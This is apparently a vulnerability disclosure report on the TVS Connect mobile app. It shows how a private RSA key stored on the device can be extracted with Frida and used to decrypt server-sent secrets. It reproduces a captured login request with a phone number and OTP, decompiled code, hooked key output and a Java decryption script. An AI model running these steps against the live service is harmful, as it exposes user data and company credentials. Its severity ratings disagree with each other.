

TVS Connect Mobile App Security Assessment

Reported By:

Reported By:
Aarav Sinha
Sr. Security Researcher
FEV India Pvt Ltd.
sinha_aa@fev.com

Reported By:
Vaishali Nagori
Sr. Security Researcher
FEV India Pvt Ltd.
nagori@fev.com

Table of Contents

1. Introduction	3
1.1. Overview	3
1.2. Research Team	3
1.3. Methodology	4
2. Summary	4
3. Detailed Description of the Vulnerabilities and findings.....	6
3.1. Vulnerabilities:.....	6
3.1.1. Broken Cryptography: leaked secrets on android and iOS platforms (secret?platform=android).	6

1. Introduction

1.1. Overview

This document describes the vulnerabilities observed from the security research conducted on TVS Mobile App.

The purpose of this research was to identify any potential vulnerabilities in the TVS Connect Mobile Application and help them make their platform secure.

1.2. Research Team

The security research was conducted by:

Aarav Sinha, Senior Security Researcher, FEV India Pvt Ltd.

Aarav Sinha is a seasoned Senior Security Researcher, holding a B. Tech degree in Computer Science. With over two years of dedicated experience in application security and nearly four years in overall security. Aarav's proficiency lies in various domains, including Mobile Application Security, Cloud Infrastructure Security, as well as Thick-Client and Network Security.

Vaishali Nagori, Senior Security Researcher, FEV India Pvt Ltd.

Vaishali Nagori has dedicated expertise to assisting CISOs, Security Professionals, and Developers in ensuring the end-to-end security of their organization. Vaishali specializes in conducting comprehensive security assessments of Web Applications, APIs, Android, and iOS. Her proficiency extends to Browser Extension Penetration Testing and Threat Modeling, as well as Cloud Security. With a track record of securing over 150+ applications across diverse industries such as e-commerce, banking, management, gaming etc.

1.3. Methodology

Black Box testing approach was taken to make sure the App was assessed against vulnerabilities from all possible security perspectives.


2. Summary

The following table is the summary of vulnerabilities and findings, which summaries the overall risks identified during the penetration testing.

Total of **01** risks were identified during the test.

Target	Total Vulnerabilities				
	Critical	High	Medium	Low	Info
Counts	1	0	0	0	0

The following graph summarizes the distribution of the risks identified by vulnerability rating.



Vulnerability ID	Vulnerability	OWASP Top 10 Mapping	Severity
APP-VUL-01	Broken Cryptography: leaked secrets on android and iOS platforms	M3: Insufficient Cryptography	HIGH

3. Detailed Description of the Vulnerabilities and findings

3.1. Vulnerabilities:

3.1.1. Broken Cryptography: leaked secrets on android and iOS platforms (*secret?platform=android*).

Vulnerability Description:


During the examination of the TVS Connect application, it was noticed that when a request is made to the ``userlogin/verifyloginotp`` endpoint, it sends a public key. This key is then utilized by the backend to encrypt company secrets, which are subsequently transmitted to the application via the ``/secret`` endpoint for various purposes. Through further analysis of the source code, it was discovered how the application manages the RSA pair, potentially enabling an attacker to obtain the private key and decrypt the entire dataset.

```

1 POST /api/v3/userlogin/verifyloginotp HTTP/2
2 Host: tvsconnectapi.tvsmotor.com
3 X-Forwarded-For :
4 X-Remote-Addr : : 127.0.0.1
5 Version: 1
6 Iceuserid: 3760799
7 Evuserid: 1
8 Content-Type : application/json; charset=UTF-8
9 Content-Length : 493
10 Accept-Encoding : gzip, deflate
11 User-Agent : okhttp/5.0.0-alpha.6
12
13 {
14   "androidToken" :
15     "fdXnXVDpQrSq15N_irkCfd:APA91bGb3TxTtWc1djStEboKPF5p4EWLz5h11n9SHz9DjAEDw2wh7gTfWhw5R04STMgB8bk
16     rR3BIjwM5HqFS3_cUDNY_InzL3OL4lJS8iNv-azxmREpLft5oMN9n7F7Ga6D0yqi4Q6iZ" ,
17     "deviceType" : "Android" ,
18     "iosToken" : "" ,
19     "Mobilenummer" : "7083069089" ,
20     "Otp" : "539017" ,
21     "PublicKey" :
22       "MIGfMA0GCsGqSIb3DQEBAQUAA4GNADCBiQKBgQCXAGrxR+oV07weBHPtTdmv81B5TrkCyQq8E0zSmzaSfcbUtagi7modPc
23       J+vBo2FhrSG+Zf7nQ9C7+rCDNZ0jNzuOIeXX2fFSjFehKWvNy/+fRmjQMcu00KtT/f9jfNETm0M0B07rLw2+nxic2V/SPN8
24       ajXoMtaBXmiAduJ+aWMywIDAQAB"
25 }

```

verifyloginotp sending public key.



Secret endpoint returning data encrypted with the public key.

Impact:

The leaked secrets via the `/secret` endpoint has a wider impact on the platform as it allows the attacker to have access to several secured endpoints leaking user personal information, access to premium map features, and different UUIDs for performing Bluetooth communications. Thereby, compromising the confidentiality, integrity, and availability on the TVS Connect platform.

Test Methodology:

1. Disassemble the application and look for the code responsible for the **verifyloginotp** endpoint.
2. Analyze the **generateRandomKeys()** function to understand the handling of the private key.

```
/* JADX INFO: Access modifiers changed from: protected */
public String generateRandomRsaKeys () {
    KeyPair generateRsaKeyPair = RsaCipher.Companion.generateRsaKeyPair ();
    String encodeToString = Base64.encodeToString (generateRsaKeyPair .getPrivate ().getEncoded (), 2);
    String encodeToString2 = Base64.encodeToString (generateRsaKeyPair .getPublic ().getEncoded (), 2);
    PreferenceUtils.getInstance ().setValue ("PRIVATE_SECRET_KEY" , encodeToString );
    return encodeToString2 ;
}
```

Function generating the rsa pair.

- Analysing the class `com.tvsm.connect.user.response.SecretKeysRequestManager` it was noticed that the application is loading the `“PrivateKey”` from the android keystore and passing the value under `“str”` in `access$100` function.

```
public void onResponse(Call call, Object obj, int i) throws Exception {
    if (i == 200) {
        SecuredKeysResponse securedKeysResponse = (SecuredKeysResponse) obj;
        if (securedKeysResponse != null && securedKeysResponse.getStatusCode() == 200) {
            SecretKeysRequestManager secretKeysRequestManager = SecretKeysRequestManager.this;
            SecretKeysRequestManager.access$100(secretKeysRequestManager, SecretKeysRequestManager.access$000(secretKeysRequestManager).getValue("PRIVATE_SECRET_KEY", null), securedKeysResponse.getData().getIceData());
            return;
        }
        if (securedKeysResponse != null && !TextUtils.isEmpty(securedKeysResponse.getMessage())) {
            Event.Event(secretKeysRequestManager.access$200(secretKeysRequestManager.this), "event_request_secret_keys_failure", securedKeysResponse.getMessage(), "");
        }
        DialogUtils.showToast(secretKeysRequestManager.access$200(secretKeysRequestManager.this), SecretKeysRequestManager.access$200(secretKeysRequestManager.this).getString(C9048R.string.msg_something_went_wrong));
        if (SecretKeysRequestManager.access$300(secretKeysRequestManager.this) != null) {
            SecretKeysRequestManager.access$300(secretKeysRequestManager.this).failed(securedKeysResponse.getMessage());
        }
    }
}
```

Private key loaded from the keystore and passed in function

- Use any dynamic instrumentation toolkit like Frida to hook the function and parameters passed within the function.

```
(agent) [611601] Arguments com.tvsm.connect.user.response.SecretKeysRequestManager.access$100(com.tvsm.connect.user.response.SecretKeysRequestManager@294ef5, MTICdgIBADAN@ghak1Ghw
RBADEFARSCZawugg1cgeANXGBAROTFFV2T8dHJAF309PcJMGdNZrT0Q58ig/upocJAZGUE4rt+yEKPtocrYVwARtIivrypu/ jVBhNFII+vj3qR/ef6vNEJ3egTJ24g209P8d1NDAP1uGDMCokmHYxl+H4ywfQCBAAUVRFF7w5v6
fTzcd/MQYbudo+QnagMBAAECyAZpcw4GKRfTz3p/96HfXRVPOZjPQe9le+efmYAB5/LFY7JHGQD0B6m2p8BSctVCUPWxf701513ZUMfg3Z1vko1z/ANvzbAK1Nq8Dh1pET8CEr1A3F+811QudJmSTexS5YCMRR47011uChpaAbw
fums51x8u72e72xXQ1BAPPSqT9weyPqaZ1pQr+8PA/Fwd13V1Pm7rmdpZ7g796C1851yJ0E3r2VfLWRjZ1FuyZhdwcl3c1qQCQ0Igw+25wA0pJX70GWR7T4bn46Ae1C3w8I5BL8Pw6YF5a7FF19HfaijYp6vc100991u6
LUPY18/305x0+NAKAS1c13d1r5uKuwqKcPQ+4eV34MZ6Hn7jw8e8FX0Uvnc7f0D5y121u01K1V5hg8344y8P9X2NvN/BLr/PSHwKEAK2uX811Ar2Z5x580w4UJn8y6LYPpLfrYhWvF4rZY6oqRSD1e/BS01511qSDKH+RtXn7h
e/X0bx1c40pJANT0P6w4H4C11d61d614e1H0P1F5X6G5u11/rzHfALvV+80px+1dS97VwC0UwG0mouD0F0/6y413Z1ue+, com.tvsm.connect.user.response.SecuredKeyModel@ec19bf")
(agent) [611601] Return Value: (none)
```

Dumping parameters of the function containing the private key.

- Analysing the class `com.tvsm.ev.secrets.cipher.RsaCipher` along with the captured `“privateKey”`, craft the logic for the decryption


```

1  Base64Decoder.java 1  J.DecryptorApp.java 1 X
2  home > kali > Documents > Projects > hvsconnect > scripts > J.DecryptorApp.java > J.DecryptorApp > mainString()
3  1 import java.nio.charset.StandardCharsets;
4  2 import java.security.KeyFactory;
5  3 import java.security.PrivateKey;
6  4 import java.security.spec.PKCS8EncodedKeySpec;
7  5 import java.util.Base64;
8  6
9  7 import javax.crypto.Cipher;
10 8
11 9 public class DecryptorApp {
12 10
13 11     run(Debug)
14 12     public static void main(String[] args) {
15 13         // Replace these values with your actual RSA private key and encrypted string
16 14         String privateKey = "MIICdgIBADANBgkqhkiG9w0BAQFAASCAuA9gJcAgEAAoGBAKCnkn/auzXBcg5U5t120yOw0R0hu1f50b2jyH20X75jZeMw7eT4w4jSor6GT6Ls2EPEDnKJ+wwRLPxEXAhgMI.B0KnuopGo8F0B0Kqn5H0hc1lq3ktdUlnQ3LeqH9TZhK6BzXe)X+gYHKe80keJ07sah5Y/Q580uac";
17 15         //TVS_Auth
18 16         //String encryptedValue = "e1rCcBx0M9z6Usta0F8evR8zb/vvQgTDo7gRmLg1AuFqtaNM/tcB1JsyfQYValxUvtAcMvQk9t194QnJemhJ0rp/eAS8GKQ2gi1ThaGovRdJ1r8dUYBHE3sEz6Py3u5FD0nRdtZKJaugzvLdYassvDGixxMBF2yKVK+F3UB+YF=";
19 17         //TVS_VIN_KEY
20 18         //String encryptedValue = "wCID3QL6zqfDmhQIE3SVXVEh+0QcLn2GeN6SPmUyZoyymG1En4rF5A4Mar7UyRzvqV9Z8xedPotB1wrrw024RbdfmrLLaJ81saJ1ZP1W01H9V061Gzq+g0J0qELlqwIy03zQNCES5d1TC1XndU1CmngjvyKD+pxl05gJ0=";
21 19         //TVS_CRC_KEY
22 20         //String encryptedValue = "jw/a5o3TmKvK8yp1RBh6X/vcAV5fChNIDc2kjEQTFWFSB+Ro2DbmcBxTNARGMLB+rwdsT01t19CPChaosFIUY8Gly/s65lpZ2adIedydrG2Fmuh+4MVCQpuneMqDSRFKqTL+ZYPTuVdbp0YLS1Pe4nm4rK+AgRLRY3wv02B=";
23 21         //TVS_CLIENT_ID
24 22         //String encryptedValue = "kN9yF2awQNLIEBvYr8Y0YhM91sv1tn+61LLga7Mh7/6ATYpox4smYf6N3Qy047CDHqyn120aTMqKwyaPCRYeeLogJEnH6dUNRkG/L1P1bbSwohnXucPJlUauX0dJA723M09FZp0/Yze90VF8B05G55AcMqzZaqh86dtYg=";
25 23         //TVS_CLIENT_SECRET
26 24         //String encryptedValue = "ehMAI26I0f4obd1dJtyY0Ec2vBGRnLC01tUx0K01pI8znL7zSEB00frnDL0c5FCV18q7+00nRY3P7u7wQbR+UxvLdHfBjP3rpbvK0T07U9MqHEYY5523cK5tCzKEBzSLFAB88BtSLABCyMg3dpkhrIyg5KLrjYHCKLqg=";
27 25         //TVS_RESET_API
28 26         //String encryptedValue = "R6sv52qe61D2AKZMh7mUEE+270vAxsHR7BspZRYKHHRN/2ZML021r00vrrq3D45k1S1Z2Y25dewD3rx14sKuAP8UqP/vV5B/7zpa0t6G01WEDj0YTLSeL1ygyVELLjptJH0K1cW0W/Zhok1DA1yok7YcC3B+781f01NB1Iqg=";
29 27         //TVS_SDK_KEY
30 28         //String encryptedValue = "wCID3QL6zqfDmhQIE3SVXVEh+0QcLn2GeN6SPmUyZoyymG1En4rF5A4Mar7UyRzvqV9Z8xedPotB1wrrw024RbdfmrLLaJ81saJ1ZP1W01H9V061Gzq+g0J0qELlqwIy03zQNCES5d1TC1XndU1CmngjvyKD+pxl05gJ0=";
31 29         String encryptedValue = "LB7eUR49A1M8UqckyUmscm1A8ei3f2/G3p11+05m19Dmvs0s0doN9Tddvj07uB1TL573amokLanJqdlATnyqk04pz5ExBp51hgbNtFYVR5+vrYZCMG68ao5P+Bt5Cg1k93Ro4fa5ue5/15480pkAq05FdfEc3IaJh90P0=";
32 30
33 31         // Decode the private key from Base64
34 32         byte[] privateKeyBytes = Base64.getDecoder().decode(privateKey);
35 33
36 34         try {
37 35             // Create PrivateKey from encoded key bytes
38 36             KeyFactory keyFactory = KeyFactory.getInstance("RSA");
39 37             PrivateKey rsaPrivateKey = keyFactory.generatePrivate(new PKCS8EncodedKeySpec(privateKeyBytes));
40 38
41 39             // Set up the Cipher for decryption
42 40             Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
43 41             cipher.init(Cipher.DECRYPT_MODE, rsaPrivateKey);
44 42
45 43             // Decode the encrypted value from Base64
46 44             byte[] encryptedBytes = Base64.getDecoder().decode(encryptedValue);
47 45
48 46             // Decrypt the value
49 47             byte[] decryptedBytes = cipher.doFinal(encryptedBytes);
50 48
51 49             // Convert the decrypted bytes to String
52 50             String decryptedValue = new String(decryptedBytes, StandardCharsets.UTF_8);
53 51
54 52             // Print the decrypted value
55 53             System.out.println("Decrypted Value: " + decryptedValue);
56 54         } catch (Exception e) {
57 55             System.out.println("Decryption failed. Error: " + e.getMessage());
58 56
59 57
60 58
61 59
62 60

```

Custom script to decrypt the sensitive data.

Remediation:

- Cryptography should be handled securely.
- Platform level secrets should be shared via secured channels on the server side.

CVSS Score:

CVSS-v3.1 score ([NVD - CVSS v3 Calculator \(nist.gov\)](#)) for this vulnerability is provided below.

CVSS Base Vector: **AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L**

Base Score: 8.3